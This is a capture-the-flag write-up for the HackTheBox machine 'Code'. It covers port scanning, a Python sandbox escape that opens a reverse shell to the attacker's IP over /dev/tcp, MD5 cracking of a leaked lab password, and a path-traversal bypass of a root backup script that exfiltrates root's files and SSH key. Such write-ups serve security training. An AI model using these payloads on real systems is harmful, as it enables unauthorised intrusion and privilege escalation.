Skip to content

Code

  • ๐ŸŒ Website: HackTheBox
  • ๐Ÿ”ฅ Level: Easy
  • ๐Ÿ–ฅ๏ธ OS: Linux
  • ๐Ÿ”— Link: Code

Foothold

Let's start with a simple nmap scan to identify open ports on the target machine:

โ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/HTB/Machines/Code]
โ””โ”€$ nmap -p- --min-rate=10000 $target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-25 16:23 CET
Nmap scan report for 10.10.11.62
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

We found two open ports: 22 (SSH) and 5000 (HTTP). Next, let's run an nmap scan with service detection scripts on these ports:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/HTB/Machines/Code]
โ””โ”€$ nmap -p22,5000 -sC -sV  $target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-25 16:23 CET
Nmap scan report for 10.10.11.62
Host is up (0.025s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds
We can see a website running on port 5000. Let's check it out:

website

This is a Python terminal. Let's try to interact with it. I signed up and noticed that there is a way to save code snippets, which are displayed with an ID.

http://10.10.11.62:5000/?code_id=4

Using Burp Intruder, I checked if there are other saved codes but found nothing.

Next, I tried to run a reverse shell script:

import os
import socket
import pty
s=socket.socket()
s.connect(rhost,rport)

[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")

However, the terminal returned an error:

Use of restricted keywords is not allowed.

Maybe we can try to run a reverse shell with encoding. I encoded the script using CyberChef:

import os,pty,socket;s=socket.socket();s.connect(("10.10.xx.yy",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
aW1wb3J...

I tried but nothing worked. Then, I attempted a Server-Side Template Injection (SSTI) approach:

for i in range(len(''.__class__.__mro__[1].__subclasses__())):
    s = str(''.__class__.__mro__[1].__subclasses__()[i])
    if "sub" in s:
        print(i,s)

I found Popen in index 317. After some trial and error, this is the final payload:

p = ''.__class__.__mro__[1].__subclasses__()[317]  
p("bash -c 'bash -i >& /dev/tcp/10.10.14.153/9001 0>&1'", shell=True)

I set up a listener on my machine:

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/HTB/Machines/Code]
โ””โ”€$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.153] from (UNKNOWN) [10.10.11.62] 47596
bash: cannot set terminal process group (143189): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$ whoami
whoami
app-production

I try to get a full interactive shell. User.txt in user home

{REDACTED}

Privesc

To escalate privileges, I will use linpeas.sh, which I transferred to the target machine using uploadserver and wget. After running linpeas.sh, I found an interesting app folder in my home directory:

app-production@code:~/app$ ls
app.py  instance  linpeas.sh  __pycache__  static  templates
app-production@code:~/app$ ls -la
total 856
drwxrwxr-x 6 app-production app-production   4096 Mar 25 15:27 .
drwxr-x--- 6 app-production app-production   4096 Mar 25 15:26 ..
-rw-r--r-- 1 app-production app-production   5230 Feb 20 12:07 app.py
drwxr-xr-x 2 app-production app-production   4096 Mar 25 15:28 instance
-rwxr-xr-x 1 app-production app-production 840082 Mar 25 14:54 linpeas.sh
drwxr-xr-x 2 app-production app-production   4096 Feb 20 12:07 __pycache__
drwxr-xr-x 3 app-production app-production   4096 Aug 27  2024 static
drwxr-xr-x 2 app-production app-production   4096 Feb 20 10:36 templates
app-production@code:~/app$ cd instance/
app-production@code:~/app/instance$ ls
database.db
app-production@code:~/app/instance$    

In the database, I found a hashed password for the user martin:

martin:3de6f30c4a09c27fc71932bfc68474be

It's an MD5 hash, so I checked it on Crackstation:

alt text

The password was cracked successfully:

martin:nafeelswordsmaster

I used these credentials to log in via SSH:

martin@code:~$ ls -la
total 40
drwxr-x--- 6 martin martin 4096 Mar 25 15:40 .
drwxr-xr-x 4 root   root   4096 Aug 27  2024 ..
drwxr-xr-x 2 martin martin 4096 Mar 25 15:41 backups
lrwxrwxrwx 1 root   root      9 Aug 27  2024 .bash_history -> /dev/null
-rw-r--r-- 1 martin martin  220 Aug 27  2024 .bash_logout
-rw-r--r-- 1 martin martin 3771 Aug 27  2024 .bashrc
drwx------ 2 martin martin 4096 Mar 25 15:41 .cache
drwxrwxr-x 3 martin martin 4096 Mar 25 15:41 .local
-rw-r--r-- 1 martin martin  807 Aug 27  2024 .profile
lrwxrwxrwx 1 root   root      9 Aug 27  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root   root      9 Aug 27  2024 .sqlite_history -> /dev/null
drwx------ 2 martin martin 4096 Sep 16  2024 .ssh
-rw-rw-r-- 1 martin martin  140 Mar 25 15:40 task.json

Checking for sudo privileges, I found that martin can run a script called backy.sh as root without a password:

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

Let's inspect the backy.sh script:

martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

We can create a custom JSON file to backup the root.txt file. The allowed directories are /var and /home, so we can use a path traversal technique:

{
    "destination": "/home/martin/backups/",
    "multiprocessing": true,
    "verbose_log": false,
    "directories_to_archive": [
        "/var/../root"
    ],
}

Run the backy.sh script with our custom JSON file:

martin@code:~$ sudo /usr/bin/backy.sh /home/martin/backups/task.json
2025/03/25 15:51:56 ๐Ÿ€ backy 1.2
2025/03/25 15:51:56 ๐Ÿ“‹ Working with /home/martin/backups/task.json ...
2025/03/25 15:51:56 ๐Ÿ’ค Nothing to sync
2025/03/25 15:51:56 ๐Ÿ“ค Archiving: [/var/../root]
2025/03/25 15:51:56 ๐Ÿ“ฅ To: /home/martin ...
2025/03/25 15:51:56 ๐Ÿ“ฆ
tar: Removing leading `/var/../' from member names
/var/../root/
/var/../root/.local/
/var/../root/.local/share/
/var/../root/.local/share/nano/
/var/../root/.local/share/nano/search_history
/var/../root/.sqlite_history
/var/../root/.profile
/var/../root/scripts/
/var/../root/scripts/cleanup.sh
/var/../root/scripts/backups/
/var/../root/scripts/backups/task.json
/var/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/var/../root/scripts/database.db
/var/../root/scripts/cleanup2.sh
/var/../root/.python_history
/var/../root/root.txt
/var/../root/.cache/
/var/../root/.cache/motd.legal-displayed
/var/../root/.ssh/
/var/../root/.ssh/id_rsa
/var/../root/.ssh/authorized_keys
/var/../root/.bash_history
/var/../root/.bashrc
martin@code:~$ ls

Extract the archived files:

martin@code:~$ ls
backups  code_var_.._root_2025_March.tar.bz2  task.json
martin@code:~$ tar -xf code_var_.._root_2025_March.tar.bz2 
martin@code:~$ ls
backups  code_var_.._root_2025_March.tar.bz2  root  task.json
martin@code:~$ cat root/root.txt 
{redacted}
martin@code:~$ 

{redacted}